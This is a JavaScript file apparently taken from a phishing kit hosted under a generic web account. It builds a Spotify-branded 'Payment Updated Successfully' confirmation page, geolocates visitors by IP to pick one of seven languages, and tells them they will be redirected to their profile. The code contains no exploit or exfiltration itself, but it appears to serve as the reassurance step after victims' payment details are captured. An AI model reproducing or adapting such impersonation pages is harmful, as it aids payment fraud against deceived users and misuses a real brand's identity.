File "done.js"
Full Path: /home/xgsotb2m/public_html/spo/web/img/done.js
File size: 6.67 KB
MIME-type: --
Charset: utf-8
// Function to get current date and time
function getCurrentDateTime() {
const now = new Date()
const year = now.getFullYear()
const month = String(now.getMonth() + 1).padStart(2, "0")
const day = String(now.getDate()).padStart(2, "0")
const hours = String(now.getHours()).padStart(2, "0")
const minutes = String(now.getMinutes()).padStart(2, "0")
const seconds = String(now.getSeconds()).padStart(2, "0")
return `${day}.${month}.${year} ${hours}:${minutes}:${seconds}`
}
// Translation dictionary
const translations = {
en: {
premium: "Premium",
support: "Support",
download: "Download",
profile: "Profile",
"success-title": "Payment Updated Successfully!",
"success-message": "We have successfully updated your payment details.",
"subscription-message": "You can now enjoy your Spotify Premium subscription without any interruptions.",
"redirect-message": "You will be redirected to your profile in",
seconds: "seconds",
"recaptcha-full": "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.",
},
pl: {
premium: "Premium",
support: "Wsparcie",
download: "Pobierz",
profile: "Profil",
"success-title": "Płatność zaktualizowana pomyślnie!",
"success-message": "Pomyślnie zaktualizowaliśmy Twoje dane płatności.",
"subscription-message": "Możesz teraz cieszyć się subskrypcją Spotify Premium bez żadnych przerw.",
"redirect-message": "Zostaniesz przekierowany do swojego profilu za",
seconds: "sekund",
"recaptcha-full":
"Ta strona jest chroniona przez reCAPTCHA i Google Polityka Prywatności i Warunki Usługi mają zastosowanie.",
},
de: {
premium: "Premium",
support: "Support",
download: "Download",
profile: "Profil",
"success-title": "Zahlung erfolgreich aktualisiert!",
"success-message": "Wir haben Ihre Zahlungsdaten erfolgreich aktualisiert.",
"subscription-message": "Sie können nun Ihr Spotify Premium Abonnement ohne Unterbrechungen genießen.",
"redirect-message": "Sie werden in",
seconds: "Sekunden zu Ihrem Profil weitergeleitet",
"recaptcha-full":
"Diese Website ist durch reCAPTCHA und Google Datenschutzrichtlinie und Nutzungsbedingungen geschützt.",
},
fr: {
premium: "Premium",
support: "Support",
download: "Télécharger",
profile: "Profil",
"success-title": "Paiement mis à jour avec succès!",
"success-message": "Nous avons mis à jour avec succès vos détails de paiement.",
"subscription-message": "Vous pouvez maintenant profiter de votre abonnement Spotify Premium sans interruptions.",
"redirect-message": "Vous serez redirigé vers votre profil dans",
seconds: "secondes",
"recaptcha-full":
"Ce site est protégé par reCAPTCHA et Google Politique de Confidentialité et Conditions d'Utilisation s'appliquent.",
},
es: {
premium: "Premium",
support: "Soporte",
download: "Descargar",
profile: "Perfil",
"success-title": "¡Pago actualizado exitosamente!",
"success-message": "Hemos actualizado exitosamente sus detalles de pago.",
"subscription-message": "Ahora puede disfrutar de su suscripción Spotify Premium sin interrupciones.",
"redirect-message": "Será redirigido a su perfil en",
seconds: "segundos",
"recaptcha-full":
"Este sitio está protegido por reCAPTCHA y Google Política de Privacidad y Términos de Servicio se aplican.",
},
it: {
premium: "Premium",
support: "Supporto",
download: "Scarica",
profile: "Profilo",
"success-title": "Pagamento aggiornato con successo!",
"success-message": "Abbiamo aggiornato con successo i tuoi dettagli di pagamento.",
"subscription-message": "Ora puoi goderti il tuo abbonamento Spotify Premium senza interruzioni.",
"redirect-message": "Sarai reindirizzato al tuo profilo tra",
seconds: "secondi",
"recaptcha-full":
"Questo sito è protetto da reCAPTCHA e Google Informativa sulla Privacy e Termini di Servizio si applicano.",
},
nl: {
premium: "Premium",
support: "Ondersteuning",
download: "Download",
profile: "Profiel",
"success-title": "Betaling succesvol bijgewerkt!",
"success-message": "We hebben uw betalingsgegevens succesvol bijgewerkt.",
"subscription-message": "U kunt nu genieten van uw Spotify Premium abonnement zonder onderbrekingen.",
"redirect-message": "U wordt doorgestuurd naar uw profiel over",
seconds: "seconden",
"recaptcha-full":
"Deze site wordt beschermd door reCAPTCHA en Google Privacybeleid en Servicevoorwaarden zijn van toepassing.",
},
}
// Function to get user's country based on IP
async function getUserCountry() {
try {
const response = await fetch("https://ipapi.co/json/")
const data = await response.json()
return data.country_code.toLowerCase()
} catch (error) {
console.log("Could not detect country, using default language")
return "us" // Default to US/English
}
}
// Function to get language based on country
function getLanguageFromCountry(countryCode) {
const countryToLanguage = {
pl: "pl", // Poland
de: "de", // Germany
at: "de", // Austria
ch: "de", // Switzerland (German part)
fr: "fr", // France
be: "fr", // Belgium (French part)
ca: "fr", // Canada (French part)
es: "es", // Spain
mx: "es", // Mexico
ar: "es", // Argentina
co: "es", // Colombia
pe: "es", // Peru
it: "it", // Italy
nl: "nl", // Netherlands
us: "en", // United States
gb: "en", // United Kingdom
au: "en", // Australia
nz: "en", // New Zealand
ie: "en", // Ireland
za: "en", // South Africa
}
return countryToLanguage[countryCode] || "en" // Default to English
}
// Function to translate the page
function translatePage(language) {
const elements = document.querySelectorAll("[data-translate]")
elements.forEach((element) => {
const key = element.getAttribute("data-translate")
if (translations[language] && translations[language][key]) {
element.textContent = translations[language][key]
}
})
// Update document language
document.documentElement.lang = language
console.log(`Page translated to: ${language}`)
}
// Initialize translation and date
async function initializePage() {
// Get user's country and translate page
try {
const countryCode = await getUserCountry()
const language = getLanguageFromCountry(countryCode)
console.log(`Detected country: ${countryCode}, using language: ${language}`)
translatePage(language)
} catch (error) {
console.log("Translation failed, using default language")
translatePage("en")
}
}
// Start when page loads
document.addEventListener("DOMContentLoaded", initializePage)